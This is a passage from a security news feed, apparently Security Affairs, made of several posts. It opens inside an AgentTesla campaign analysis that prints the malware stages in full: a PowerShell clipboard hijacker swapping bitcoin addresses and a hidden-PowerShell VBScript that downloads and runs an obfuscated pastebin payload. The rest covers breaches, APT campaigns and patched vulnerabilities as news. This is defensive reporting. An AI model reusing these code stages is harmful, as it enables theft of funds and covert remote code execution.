function isBitcoinAddress([string]$clipboardContent){ if($clipboardContent[0] -ne ‘1’) { return $false }
$strLength = $clipboardContent.length if($strLength -lt 26 -or $strLength -gt 35) { return $false }
$validRegex = ‘^[a-zA-Z0-9\s]+$’ if($clipboardContent -cnotmatch $validRegex) { return $false }
return $true}$bitcoinAddresses = (“19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”, “19kCcdbttTAX1mLU3Hk9S2BW5cKLFD1z1W”)$bitcoinAddressesSize = $bitcoinAddresses.length$i = 0$oldAddressSet = “”while(1){ $clipboardContent = Get-Clipboard if((isBitcoinAddress($clipboardContent)) -ceq $true -and $clipboardContent -cne $oldAddressSet) { Set-Clipboard $bitcoinAddresses[$i] $oldAddressSet = $bitcoinAddresses[$i] $i = ($i + 1) % $bitcoinAddressesSize }}

Code Snippet 8

The script performs a constant check in the clipboard of the victim machine, looking for bitcoin addresses and some of them are also hardcoded. The last stage is UyFaSxgj:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg(‘h’+’t’+’t’+’p’+’s’+’:’+’/’+’/’+’p’+’a’+’s’+’t’+’e’+’b’+’i’+’n’+’.’+’c’+’o’+’m’+’/’+’r’+’a’+’w’+’/eyGv9x4B’));$_Xpin=$_Xpin.replace(‘.’,’*!(@*#(!@#*’).replace(‘*!(@*#(!@#*’,’0′);$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)”, null, objConfig, intProcessID)
self.close
</script>

Code Snippet 9

This component spawn through powershell a script a binary file from a pastebin, eyGv9x4B, but, unfortunately, at the time of analysis, the paste has been removed.

This example could suggest to us the power of the malicious infrastructure built from the attacker, where  components could be removed or replaced with another one in every moment.

The Payload

As previously stated, the final payload is AgentTesla. It remains one of the most adopted commodity malware instructed to steal a large number of sensitive information about the victim. During the past years, we constantly studied the evolution of this threat and we enumerated all the sensitive data grasped by it. 

However, also in this case, we obtained the final payload and the configuration of the SMTP client where sends the stolen information:

Figure 13: Configuration of the AgentTesla SMTP client

The domain “atn-com.pw” has been created ad-hoc in order to manage the infection campaign. Studying the uptime of the domain we were able to reconstruct the infection campaign of the threat actor.


Figure 14: Information about the C2 uptime stats

As shown above, the domain has been registered on the last days of january and it has been active since the middle of April. After a short period of inactivity, it compared another time the 2nd of May since these days.

Conclusion

The actor hiding behind this campaign can undoubtedly be considered a persistent cyber-threat to many organizations operating in production sectors in Europe and, in the last months, also in Italy. Its intricate infection chain developed and tested during the years gave him the flexibility needed to bypass many layers of traditional security defences, manipulating the delivery infrastructure from time to time.

During the time, the actor’s delivery infrastructure was leveraged to install different kinds of malware: most of the time remote access trojans and info and credential stealing software. Such malware types are capable of enabling cyber-espionage and IP theft operations, potentially to re-sell stolen information on dark markets.

No doubt, we will keep going to track this threat.

Additional details, including IoCs and Yara rules are available here:

Pierluigi Paganini

(SecurityAffairs – Italian manufacturing, hacking)

The post Cyber-Criminal espionage Operation insists on Italian Manufacturing appeared first on Security Affairs.

Microsoft warns of “massive campaign” using COVID-19 themed emails

Experts from the Microsoft Security Intelligence team provided some details on a new “massive campaign” using COVID-19 themed emails.

Researchers from the Microsoft Security Intelligence team provided some details on a new massive phishing campaign using COVID-19 themed emails.

The messages used weaponized Excel documents, the IT giant observed a spike in the number of malicious documents in malspam campaigns which use Excel 4.0 macros.

“For several months now, we’ve been seeing a steady increase in the use of malicious Excel 4.0 macros in malware campaigns. In April, these Excel 4.0 campaigns jumped on the bandwagon and started using COVID-19 themed lures.” states Microsoft in a Tweet.

The latest COVID-19 campaign began in April, the messages purport to be from the Johns Hopkins Center and use an Excel attachment. Once opened the attachment, it will show a graph of Coronavirus cases in the United States and trick the victims into enabling the macros to start the infection.

The macros drop a remote access tool (RAT) named NetSupport Manager, it is a legitimate application that is abused by attackers to take control over victim systems.

“The hundreds of unique Excel files in this campaign use highly obfuscated formulas, but all of them connect to the same URL to download the payload. NetSupport Manager is known for being abused by attackers to gain remote access to and run commands on compromised machines.” continues Microsoft.

The NetSupport RAT employed in this COVID-19-themed campaign also drops multiple components, including several .dll, .ini, and other .exe files, a VBScript, and an obfuscated PowerSploit-based PowerShell script. Then it connects to a command and control server, allowing threat actors to send further commands.

Below the Indicators of Compromise (IoCs) shared by Microsoft:

Below a list or recommendations to avoid this threat:

  • Keep your anti-virus software up to date.
  • Search for existing signs of the threat using IoCs in your environment.
  • Keep applications and operating systems running and up to date.
  • Be vigilant with attachments and links in emails.

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post Microsoft warns of “massive campaign” using COVID-19 themed emails appeared first on Security Affairs.

Winnti uses a new PipeMon backdoor in attacks aimed at the gaming industry

The Winnti hacking group continues to target gaming industry, recently it used a new malware named PipeMon and a new method to achieve persistence.

Winnti hacking group is using a new malware dubbed PipeMon and a novel method to achieve persistence in attacks aimed at video game companies.

The Winnti group was first spotted by Kaspersky in 2013, but according to the researchers the gang has been active since 2007.

The experts believe that under the Winnti umbrella there are several APT groups, including  Winnti, Gref, PlayfullDragon, APT17, DeputyDog, Axiom, BARIUM, LEADPassCV, Wicked Panda, Group 72, Blackfly, and APT41, and ShadowPad.

The APT group targeted organizations in various industries, including the aviation, gaming, pharmaceuticals, technology, telecoms, and software development industries.

PipeMon is a modular backdoor that was spotted by ESET researchers earlier this year on servers belonging to several developers of massively multiplayer online (MMO) games from South Korea and Taiwan. Each component of the backdoor is implemented by a DLL.

“In February 2020, we discovered a new, modular backdoor, which we named PipeMon. Persisting as a Print Processor, it was used by the Winnti Group against several video gaming companies that are based in South Korea and Taiwan and develop MMO (Massively Multiplayer Online) games.” reads the report published by the company. “Video games developed by these companies are available on popular gaming platforms and have thousands of simultaneous players.”

winnti backdoor gaming

In one case analyzed by the researchers, the hackers compromised a victim’s build system, then they have planted malware inside the video game executable. In another case, the Winnti group compromised the game servers were compromised, which could have allowed the attackers to conduct several malicious actions, including the manipulation of in-game currencies for financial gain.

Experts noticed that the PipeMon backdoor was signed with a certificate belonging to a video game company that was already hacked by Winnti in 2018.

Researchers also reported that the threat actors reused some C2 domains involved in other campaigns and used a custom login stealer that was previously associated with Winnti operations.

The experts discovered two PipeMon variants, but they were able to describe the infection process and how it has achieved persistence only for one of them.

The first stage of the PipeMon backdoor consists of a password-protected RARSFX executable embedded in the .rsrc section of its launcher.

The hackers achieved persistence by using the Windows print processors (DLLs). A malicious DLL‌ loader drops where the print processors reside and registered as an alternative print processor by modifying one of the two registry values:

HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\PrintFiiterPipelineSvc\Driver = “DEment.dll”
 
HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\lltdsvc1\Driver = “EntAppsvc.dll”

After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe) to load the malware.

Since the service starts every time the computer reboot, the attackers have achieved persistence.

“After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe). As a result, the malicious print process is loaded when the spooler service starts. Note that the Print Spooler service starts at each PC startup, which ensures persistence across system resets.” continues the report.

“This technique is really similar to the Print Monitor persistence technique (being used by DePriMon, for example) and, to our knowledge, has not been documented previously.”

PipeMon modules are DLLs exporting a function called IntelLoader and are loaded using a reflective loading technique.

The loader, responsible for loading the main modules (ManagerMain and GuardClient) is Win32CmdDll.dll and is stored in the Print Processors directory. Experts noticed that modules are stored encrypted on disk at the same location with inoffensive-looking names.

Experts also spotted an updated version of PipeMon for which they were able to retrieve the first stage. Its architecture is highly similar to the original variant, but its code was rewritten from scratch.

“Once again, the Winnti Group has targeted video game developers in Asia with a new modular backdoor signed with a code-signing certificate likely stolen during a previous campaign and sharing some similarities with the PortReuse backdoor. This new implant shows that the Winnti Group is still actively developing new tools using multiple open source projects; they don’t rely solely on their flagship backdoors, ShadowPad and the Winnti malware.” concludes ESET.

Pierluigi Paganini

(SecurityAffairs – Winnti, hacking)

The post Winnti uses a new PipeMon backdoor in attacks aimed at the gaming industry appeared first on Security Affairs.

Santander, one of the biggest European banks, was leaking sensitive data on their website

Santander Consumer Bank, the Belgian branch of the bank, had a misconfiguration in its blog domain that was allowing its files to be indexed.

Our new research recently discovered a security issue with Santander, the 5th largest bank in Europe and the 16th largest in the world. This Spanish multinational bank controls approximately $1.4 trillion in total assets globally, and has a $69.9 billion total market capitalization on the Euro Stoxx 50 stock market index.

Our analysts found that the Belgian branch, Santander Consumer Bank, has a misconfiguration in its blog domain, allowing its files to be indexed. 

When we looked through these files, we were able to see sensitive information, including an SQL dump and JSON file that can be used by hackers to potentially phish Santander’s bank customers.

We contacted Santander immediately when we discovered the misconfiguration on April 15.  Representatives from the leading European bank responded to our emails and seem to have fixed the issue, as we are presently unable to access the information.

A Santander Consumer spokesperson said:

“The incident highlighted relates specifically to the Santander Consumer Bank Belgium blog only. The blog contains only public information and articles, and therefore no customer data or critical information from the blog  has been compromised. Our security team has already fixed the issue to ensure the blog is secure.”

What exactly is wrong with the Santander website?

When we visited the Santander blog on its Belgian domain, we noticed that the www endpoint of the blog subdomain had a misconfiguration that allowed all of its files to be indexed by search engines

Included in these indexed files was an important info.json file that seemed to contain its Cloudfront API keys.

Cloudfront is a Content Display Network (CDN) created by Amazon. Websites use CDNs to host large files, such as videos, PDFs, large images and other static content, that would normally slow down their own websites. Because these large files are hosted on the CDNs instead, websites are faster for users.

If a hacker were to get a hold of Santander’s apparent Cloudfront API keys, they would be able to switch out the content hosted on Cloudfront with any other content

For example, if a PDF or Word document was hosted on Cloudfront, and this document contained sensitive information – such as what accounts a customer should send money to – then the hacker would be able to switch that document out with their own version. In that way, they’d be able to change the real account number to his own, and thereby steal the customer’s money.

If a static HTML file was hosted, then the hacker would be able to switch that out with an entire webpage, allowing them to create a phishing page to steal the user’s financial information, all while on Santander’s official Belgian domain.

How to protect yourself

On April 15, we notified Santander’s Belgian website of the misconfiguration, and on April 24 they responded and seem to have fixed the issue. Their CyberSecurity Team stated: “We take cyber security seriously and strive to maintain the highest security standards and best practices and welcome responsible disclosure attitudes in security researchers.”

When we checked for the misconfiguration again on April 27, we received the following message:

Forbidden

You don’t have permission to access this resource.

For Santander’s customers, as well as all other banking customers, we’d recommend that you always check the domain and subdomain that a suspicious bank email is sending you to. Make sure that the domain is the bank’s real domain, but also know that important financial information requests would never be hosted on the blog subdomain of a bank.

Editor’s note: this article was updated on May 19 to reflect new information in collaboration with BitSight that the keys may not have been active Cloudfront API keys at the time of our discovery.

Original post:

https://cybernews.com/security/one-of-biggest-european-banks-leaking-sensitive-data-on-website/

About the author: Bernard Meyer

Bernard Meyer is the Senior Researcher at CyberNews. He has a strong passion for security in popular software, maximizing privacy online, and keeping an eye on governments and corporations. He’s been featured in Fortune, Forbes, Wired, Mirror, TechRadar and more. You can usually find him on Twitter arguing with someone about something moderately important.

Pierluigi Paganini

(SecurityAffairs – Santander, hacking)

The post Santander, one of the biggest European banks, was leaking sensitive data on their website appeared first on Security Affairs.

Meal delivery service Home Chef discloses data breach

Meal delivery service Home Chef has confirmed that it recently suffered a security breach that exposed its customer information.

Meal delivery service Home Chef has disclosed a data breach that exposed its customer information. Home Chef also explained that only a portion ot its customers were impacted in the security incident.

In early May, Shiny Hunters hacking group started offering for sale the databases containing tens of millions from user records from over 11 companies.

Below the complete list published by BleepingComputer:

CompanyUser RecordsPrice
Tokopedia91 million$5,000
Home Chef8 million$2,500
Bhinneka1.2 million$1,200
Minted5 million$2,500
Styleshare6 million$2,700
Ggumim2 million$1,300
Mindful2 million$1,300
StarTribune1 million$1,100
ChatBooks15 million$3,500
The Chronicle Of Higher Education3 million$1,500
Zoosk30 million$500

At the time, the Shiny Hunters were offering more than 8 million records for $2500.

Now the company confirmed the data breach, saying that the incident has impacted select customer information.

Exposed data includes email addresses, names, phone numbers, hashed passwords, and the last four digits of credit card numbers.

“Was My Credit Card Information Compromised? Home Chef does not store complete credit or debit card information” reads the FAQ published by the company.

“Information such as frequency of deliveries and mailing address may also have been compromised,”.

Home Chef also underlined the fact that it does not store complete credit or debit card information. The company is investigating the incident and announced that it is taking action to strengthen its security defenses and prevent similar incidents in the future.

Although the company stores passwords in encrypted format, it recommends users to change the password in an abundance of caution following these process:

  1. Visit www.homechef.com
  2. Click on “Log in”
  3. Click on “Account Information”, which is located under the “Account” dropdown menu
  4. Complete the “Change Your Password” section and click “Save your settings.” There’s no need to adjust the other sections on the Account page (e.g. “Subscription”)

Home Chef users should remain vigilant against phishing attacks and suspicious activity in their accounts.

The company is notifying the incident to the impacted users.

Pierluigi Paganini

(SecurityAffairs – HomeChef, hacking)

The post Meal delivery service Home Chef discloses data breach appeared first on Security Affairs.

Tens of thousands Israeli websites defaced

Thousands of Israeli websites have been defaced earlier today, hackers published an anti-Israeli message on their homepage and attempted to implant malicious code.

A massive hacking campaign defaced thousands of Israeli websites, attackers published an anti-Israeli message on their homepage and attempted to inject a malware seeking permission to access visitors’ webcams.

“Be ready for a big surprise” “The countdown of Israel destruction has begun since a long time ago,” reads the message published in in Hebrew and English on the defaced Israeli websites.

A video published by the hackers shows explosions in Tel Aviv and a battered and bloodied Prime Minister Benjamin Netanyahu swimming away from a burning city.

The hackers also added a link on some websites, asking users to click on the link and activate their camera

The list of hacked websites belong to local municipalities, several NGOs, popular restaurant chains, and a left-wing Member of parliament.

The attacks were carried out by a group calling itself the “Hackers of Saviour” most of the hacked websites were hosted on the Israeli WordPress hosting service uPress. The hacker group’s YouTube channel describes the crew as collective seeking on avenging Israel’s policy on the Palestinian situation.

“Early this morning we detected a widespread cyber attack against many websites stored on our servers. It is a case of a malicious and far-ranging attack carried out by anti-Israel (Iranian) sources. We detected a weakness in a WordPress add on that enabled the hack and are working closely with the National Cyber Bureau to research the breach and fix the affected sites.” reads a statement from the company sent to Ynet News.

The hosting provider confirmed the attack and revealed that the hackers exploited a vulnerability in a WordPress plugin to compromise the Israeli websites. Below the message published by the company on Facebook:

הודעת עדכון: לקוחות יקרים, היום בשעה מוקדמת זיהנו מתקפת סייבר רחבת היקף על אתרים רבים שמאוחסנים אצלנו. מדובר במתקפה…

Gepostet von ‎אחסון וורדפרס – uPress‎ am Donnerstag, 21. Mai 2020

The company said it was working with Israeli authorities to investigate the hack. uPress also took down all defaced websites and pulled the file hackers were exploiting. The company is working to restore all the defaced websites.

“The Israel National Cyber Bureau, the government agency tasked with protecting Israel from hacking attacks confirmed that “a host of Israeli websites were hacked in the morning hours in a suspected Iranian cyber-attack.”” reported the website Calcalistech.

“The matter is being handled by the Bureau. We recommend users refrain from pressing any links on compromised sites,”.

The hosting provider reported the incident to the authorities that launched an investigation into the attacks.

The Israeli National Cyber-Directorate (INCD), the Israeli cyber-security agency, warned users against visiting and interacting with the hacked websites.

Israeli press outlets blame Iranian hackers for the attacks, but at the time there is no concrete evidence to support this attribution.

Pierluigi Paganini

(SecurityAffairs – Israeli websites, hacking)

The post Tens of thousands Israeli websites defaced appeared first on Security Affairs.

Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia

Cybersecurity researchers uncovered an Iranian cyber espionage campaign conducted by Chafer APT and aimed at critical infrastructures in Kuwait and Saudi Arabia.

Cybersecurity researchers from Bitdefender published a detailed report on an Iranian cyber espionage campaign directed against critical infrastructures in Kuwait and Saudi Arabia.

The cyber espionage campaigns were carried out by Iran-linked Chafer APT (also known as APT39 or Remix Kitten).

The Chafer APT group has distributed data stealer malware since at least mid-2014, it was focused on surveillance operations and the tracking of individuals.

The APT group targets telecommunication and travel industries in the Middle East to gather intelligence on Iran’s geopolitical interests.

“Victims of the analyzed campaigns fit into the pattern preferred by this actor, such as air transport and government sectors in the Middle East,” reads the researcher paper published by the experts.

“Some traces indicate that the goal of the attack was data exploration and exfiltration (on some of the victim’s tools such as Navicat, Winscp, found in an unusual location, namely “%WINDOWS%\ime\en-us-ime”, or
SmartFtpPasswordDecryptor were present on their systems).”

The attackers used several tools, including ‘living off the land’ tools, making it hard to attribute the attack to specific threat actors, as well as a custom-built backdoor.

The attacks against entities in Kuwait and Saudi Arabia have multiple similarities and shares some common stages, but experts noticed that the attacks seem more focused and sophisticated on victims from Kuwait.

Chafer APT launched spear-phishing attacks, the messages were used to deliver multiple backdoors that allowed them to gain a foothold, elevate their privileges, conduct internal reconnaissance, and establish persistence in the victim environment.

“Once the victims were compromised, attackers started to bring reconnaissance tools for network scanning (“xnet.exe”, “shareo.exe”) and credential gathering (as “mnl.exe” or “mimi32.exe”) or tools with multiple functionalities, such as CrackMapExec (for users’ enumeration, share listing, credentials harvesting and so on).” continues the report.

“During our investigation, on some of the compromised stations we observed some unusual behavior performed under a certain user account, leading us to believe the attackers managed to create a user account on the victims’ machine and performed several malicious actions inside the network, using that account.”

The attacks against entities in Kuwait appeared more sophisticated, attackers were creating a user account on the compromised machines and performed malicious actions inside the network, including credential harvesting with Mimikatz and lateral movements using multiple hacking tools from their arsenal.

Most of the hacking activity occurs on Friday and Saturday, coinciding with the weekend in the Middle East.

The campaign against a Saudi Arabian entity was characterized by the large use of social engineering attacks to trick the victim into executing a remote administration tool (RAT), The RAT employed in the attacks shares similarities with those used against Kuwait and Turkey.

“The case investigated in Saudi Arabia was not as elaborate, either because the attackers did not manage to further exploit the victim, or because the reconnaissance revealed no information of interest.” continues the report.

“While this attack was not as extensive as the one in Kuwait, some forensic evidence suggests that the same attackers might have orchestrated it. Despite the evidence for network discovery, we were not able to find any traces for lateral movement, most probably because threat actors were not able to find any vulnerable machines.”

The campaigns against Kuwait and Saudi Arabia demonstrate the intense cyberespionage activity carried out by Iran-linked APT groups in the Middle East. Anyway we cannot underestimate that these hacking groups are extending their range of action targeting government and organizations worldwide.

Pierluigi Paganini

(SecurityAffairs – Chafer APT, hacking)

The post Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia appeared first on Security Affairs.

Japan suspects HGV missile data leak in Mitsubishi security breach

Japan continues to investigate a cyberattack that hit this year Mitsubishi Electric Corp., it suspects a possible leak of data including details of a prototype missile.

Japan is still investigating a cyberattack that was disclosed by Mitsubishi Electric Corp. early this year.

In January, the company disclosed a security breach that might have exposed personal and confidential corporate data, at the time, it claimed that attackers did not obtain sensitive information about defense contracts.

Mitsubishi revealed that personal data on some 8,000 people also might have been leaked.

The breach was detected almost eight months ago, on June 28, 2019, with the delay being attributed to the increased complexity of the investigation caused by the attackers deleting activity logs.

The intrusion took place on June 28, 2019, and the company launched an investigation in September 2019. Mitsubishi Electric disclosed the security incident only after two local newspapers, the Asahi Shimbun and Nikkei, reported the security breach.

Mitsubishi Electric had also already notified members of the Japanese government and the Ministry of Defense.

Now, the authorities suspect a data leak that could have exposed details of a prototype missile.

“The suspected leak involves sensitive information about a prototype of a cutting-edge high speed gliding missile intended for deployment for the defense of Japan’s remote islands amid China’s military assertiveness in the region.” states the AP press agency.

“The ministry suspects the information might have been stolen from documents sent from several defense equipment makers as part of a bidding process for the project, Mitsubishi Electric did not win the bid, Japanese media reports said.”

The advanced prototype missile was designed to be deployed in Japan’s remote islands as a deterrence to military activities conducted by China in the area.

Chief Cabinet Secretary Yoshihide Suga announced that the Defense Ministry is investigating “the possible impact of the information leak on national security.”

Mitsubishi Electric

The Defense Ministry was working on a prototype of supersonic missile known as HGV, a technology also being studied by the U.S., China, and Russia.

In January, the two media outlets attributed the cyber attack to a China-linked cyber espionage group tracked as Tick (aka Bronze Butler).

The hacker group has been targeting Japanese heavy industry, manufacturing and international relations at least since 2012,

According to the experts, the group is linked to the People’s Republic of China and is focused on exfiltrating confidential data.

The ministry suspects the information might have been stolen from documents sent from several defense equipment makers as part of a bidding process for the project, Mitsubishi Electric did not win the bid, Japanese media reports said.

Other Japanese defense contractors were hit by cyber attacks, including NEC Corp. , Pasco Corp. and Kobe Steel Ltd.

Pierluigi Paganini

(SecurityAffairs – Mitsubishi, hacking)

The post Japan suspects HGV missile data leak in Mitsubishi security breach appeared first on Security Affairs.

VMware fixes CVE-2020-3956 Remote Code Execution issue in Cloud Director

VMware has addressed a high-severity remote code execution vulnerability, tracked as CVE-2020-3956, that affects its Cloud Director product.

VMware has patched a high-severity remote code execution vulnerability, tracked as CVE-2020-3956, in its Cloud Director product.

The vulnerability is a code injection issue that could be exploited by an authenticated attacker to send malicious traffic to Cloud Director, which could allow executing arbitrary code.

“A code injection vulnerability in VMware Cloud Director was privately reported to VMware. Patches and workarounds are available to remediate or workaround this vulnerability in affected VMware products.” reads the security advisory published by VMware.

“An authenticated actor may be able to send malicious traffic to VMware Cloud Director which may lead to arbitrary remote code execution. This vulnerability can be exploited through the HTML5- and Flex-based UIs, the API Explorer interface and API access.”

According to the company, the vulnerability can be exploited through the HTML5- and Flex-based UIs, the API Explorer interface and API access.

The vulnerability impacts VMware Cloud Director 10.0.x, 9.7.x and 9.5.x on Linux and Photon OS appliances, and version 9.1.x on Linux. Versions 8.x, 9.0.x and 10.1.0 are not affected.

VMware vCloud Director 9.1.0.4, 9.5.0.6, 9.7.0.5 and 10.0.0.2 addresses the issue. VMware has also released a workaround to mitigate the risk of attacks exploiting the issue.

The vulnerability was discovered by Tomáš Melicher and Lukáš Václavík of Citadelo.

A couple of weeks ago, VMware addressed vulnerabilities impacting the vRealize Operations Manager (vROps) product, including two recently disclosed Salt issues.

Earlier this month, VMware has addressed a critical information disclosure flaw, tracked as CVE-2020-3952, that could be exploited by attackers to compromise vCenter Server or other services that use the Directory Service (vmdir) for authentication.

The CVE-2020-3952 vulnerability has received a CVSSv3 score of 10, it resides in the vCenter Server version 6.7 on Windows and virtual appliances.

Pierluigi Paganini

(SecurityAffairs – CVE-2020-3956, hacking)

The post VMware fixes CVE-2020-3956 Remote Code Execution issue in Cloud Director appeared first on Security Affairs.

Adobe fixed several memory corruption issues in some of its products

Adobe addressed multiple memory corruption vulnerabilities, including one that allows arbitrary code execution, in several of its products.

Adobe addressed multiple memory corruption vulnerabilities in several of its products, including an arbitrary code execution.

The issues affect Character Animation, Premiere Rush, Premiere Pro, and Audition, they were reported to Adobe by researcher Mat Powell of Trend Micro’s Zero Day Initiative (ZDI).

APSB20-29 Security update available for Adobe Premiere Rush05/19/202005/19/2020
APSB20-28 Security update available for Adobe Audition05/19/202005/19/2020
APSB20-27 Security update available for Adobe Premiere Pro05/19/202005/19/2020
APSB20-25 Security update available for Adobe Character Animator 05/19/202005/19/2020

The most serious flaw, tracked as CVE-2020-9586, is a critical stack-based buffer overflow affecting the Windows and macOS versions of the Adobe’s Character Animation product.

The vulnerability could be exploited by a remote attacker to execute arbitrary code.

“Adobe has released an update for Adobe Character Animator for Windows and macOS. This update resolves a stack-based buffer overflow vulnerability that could lead to remote code execution.” reads the advisory published by Adobe.

Adobe has also addressed updates an out-of-bounds read vulnerability in Adobe Premiere Rush for Windows and macOS that could lead to information disclosure. 

The IT giant has released security updates for Adobe Premiere Pro for Windows and macOS that addressed an out-of-bounds read vulnerability that could lead to information disclosure.

The last issue addressed by Adobe is a stack-based buffer overflow vulnerability in Adobe Character Animator for Windows and macOS that could lead to remote code execution. 

The good news is that Adobe is not aware of attacks in the wild that exploited the above vulnerabilities and assigned them a priority rating of 3 because they are unlikely to ever be exploited.

At the beginning of this month Adobe released security updates to address 36 vulnerabilities in Adobe Acrobat, Reader, and Adobe DNG Software Development Kit.

Pierluigi Paganini

(SecurityAffairs – memory corruption flaws, hacking)

The post Adobe fixed several memory corruption issues in some of its products appeared first on Security Affairs.

Three flaws in Nitro Pro PDF reader expose businesses to hack

Two vulnerabilities in the Nitro Pro PDF editor could be exploited by threat actors to execute code remotely on vulnerable hosts.

Security experts from Cisco Talos have discovered three vulnerabilities in the Nitro Pro PDF editor, two of which rated as critical (CVSS score of 8.8) could be exploited by attackers for remote code execution.

Nitro Pro is a PDF application designed for creating, reading, editing, signing, converting, and protecting PDFs. The software is part of Nitro Software’s suite of enterprise tools, used by tens of thousands of organizations.

nitro pro Nitro

The first issue, tracked as CVE-2020-6074, is a nested pages remote code execution vulnerability that resides the PDF parser of Nitro Pro. An attacker could exploit the vulnerability by tricking the victims into opening a specially crafted PDF to trigger a use-after-free condition.

“An exploitable code execution vulnerability exists in the PDF parser of Nitro Pro 13.9.1.155. A specially crafted PDF document can cause a use-after-free which can lead to remote code execution. An attacker can provide a malicious file to trigger this vulnerability.” reads the advisory published by the company.

The second vulnerability, tracked as CVE-2020-6092, is an object code execution vulnerability that resides in the way Nitro Pro 13.9.1.155 parses Pattern objects. An attacker could exploit the flaw by tricking the victims into opening a specially crafted PDF and trigger an integer overflow and then achieve remote code execution.

“An exploitable code execution vulnerability exists in the way Nitro Pro 13.9.1.155 parses Pattern objects. A specially crafted PDF file can trigger an integer overflow that can lead to arbitrary code execution. A victim must open a malicious file to trigger this vulnerability” continues the advisory.

The third flaw is a Javascript XML error handling information disclosure vulnerability, tracked as CVE-2020-6093.

The information disclosure vulnerability exists in the way the version 13.9.1.155 handles XML errors,e it could be exploited by an attacker by tricking the victims into opening a specially crafted PDF document that can cause uninitialized memory access and consequent information disclosure.

Cisco security researchers also identified an information disclosure vulnerability in the application. Tracked as CVE-2020-6093 and carrying a CVSS score of 6.5, the bug is related to the way Nitro Pro does XML error handling.

In early May, the software vendor released a security update that address the above vulnerabilities.

Pierluigi Paganini

(SecurityAffairs – PDF, hacking)

The post Three flaws in Nitro Pro PDF reader expose businesses to hack appeared first on Security Affairs.

Bluetooth BIAS attack threatens billions of devices

Boffins disclosed a security flaw in Bluetooth, dubbed BIAS, that could potentially be exploited by an attacker to spoof a remotely paired device.

Researchers from École Polytechnique Fédérale de Lausanne (EPFL) discovered a vulnerability in Bluetooth, dubbed Bluetooth Impersonation AttackS or BIAS, that could potentially be exploited by an attacker to spoof a remotely paired device.

The issue potentially impact over a billion of devices.

“To establish an encrypted connection, two Bluetooth devices must pair with each other using a link key. It is possible for an unauthenticated, adjacent attacker to impersonate a previously paired/bonded device and successfully authenticate without knowing the link key. This could allow an attacker to gain full access to the paired device by performing a Bluetooth Impersonation Attack (BIAS).” reads the vulnerability note VU#647177.

The Bluetooth specification is affected by security flaws that could allow attackers to carry out impersonation attacks while establishing a secure connection.

For BIAS attack to be successful, the attacker has to use a device that would need to be within wireless range of a vulnerable Bluetooth device that has previously established a BR/EDR bonding with a remote device with a Bluetooth address known to the attacker.

To establish an encrypted connection, two Bluetooth devices must pair with each other using a link key, aka long term key.

The experts explained that the flaw results from how two previously paired devices handle the link key. The link key allows two paired devices to maintain the connection every time a data is transferred between the two devices.

The experts discovered that it is possible for an unauthenticated attacker within the wireless range of a target Bluetooth device to spoof the address of a previously paired remote device to successfully complete the authentication procedure with some paired/bonded devices without knowing the link key.

“The Bluetooth standard includes a legacy authentication procedure and a secure authentication procedure, allowing devices to authenticate to each other using a long term key. Those procedures are used during pairing and secure connection establishment to prevent impersonation attacks. In this paper, we show that the Bluetooth specification contains vulnerabilities enabling to perform impersonation attacks during secure connection establishment.” reads the research paper. “Such vulnerabilities include the lack of mandatory mutual authentication, overly permissive role switching, and an authentication procedure downgrade.”

The researchers reported their findings to the Bluetooth Special Interest Group (SIG), in December 2019.

“The researchers identified that it is possible for an attacking device spoofing the address of a previously bonded remote device to successfully complete the authentication procedure with some paired/bonded devices while not possessing the link key. This may permit an attacker to negotiate a reduced encryption key strength with a device that is still vulnerable to the Key Negotiation of Bluetooth attack disclosed in 2019.” reads the advisory published by the Bluetooth SIG. “If the encryption key length reduction is successful, an attacker may be able to brute force the encryption key and spoof the remote paired device. If the encryption key length reduction is unsuccessful, the attacker will not be able to establish an encrypted link but may still appear authenticated to the host.”

Experts explained that combining the BIAS attack with other attacks, such as the KNOB (Key Negotiation of Bluetooth) attack, the attacker van brute-force the encryption key and use it to decrypt communications.

“The BIAS and KNOB attacks can be chained to impersonate a Bluetooth device, complete authentication without possessing the link key, negotiate a session key with low entropy, establish a secure connection, and brute force the session key” states the paper.

Experts tested the attack against as many as 30 Bluetooth devices and discovered that all of them were found to be vulnerable to BIAS attacks.

The Bluetooth SIG has addressed the vulnerability announcing the introduction of changes into a future specification revision.

The SIG recommends Bluetooth users to install the latest updates from the device and operating system manufacturers.

“The BIAS attacks are the first uncovering issues related to Bluetooth’s secure connection establishment authentication procedures, adversarial role switches, and Secure Connections downgrades,” the paper concludes. “The BIAS attacks are stealthy, as Bluetooth secure connection establishment does not require user interaction.”

Pierluigi Paganini

(SecurityAffairs – BIAS attack, hacking)

The post Bluetooth BIAS attack threatens billions of devices appeared first on Security Affairs.

Easyjet hacked: 9 million customer’s data exposed along with 2,200+ credit card details

British airline EasyJet announced it was the victim of a “highly sophisticated” cyber attack that exposed email addresses and travel details of around 9 million of its customers.

British airline EasyJet announced that a “highly sophisticated” cyber-attack exposed email addresses and travel details of around 9 million of its customers.

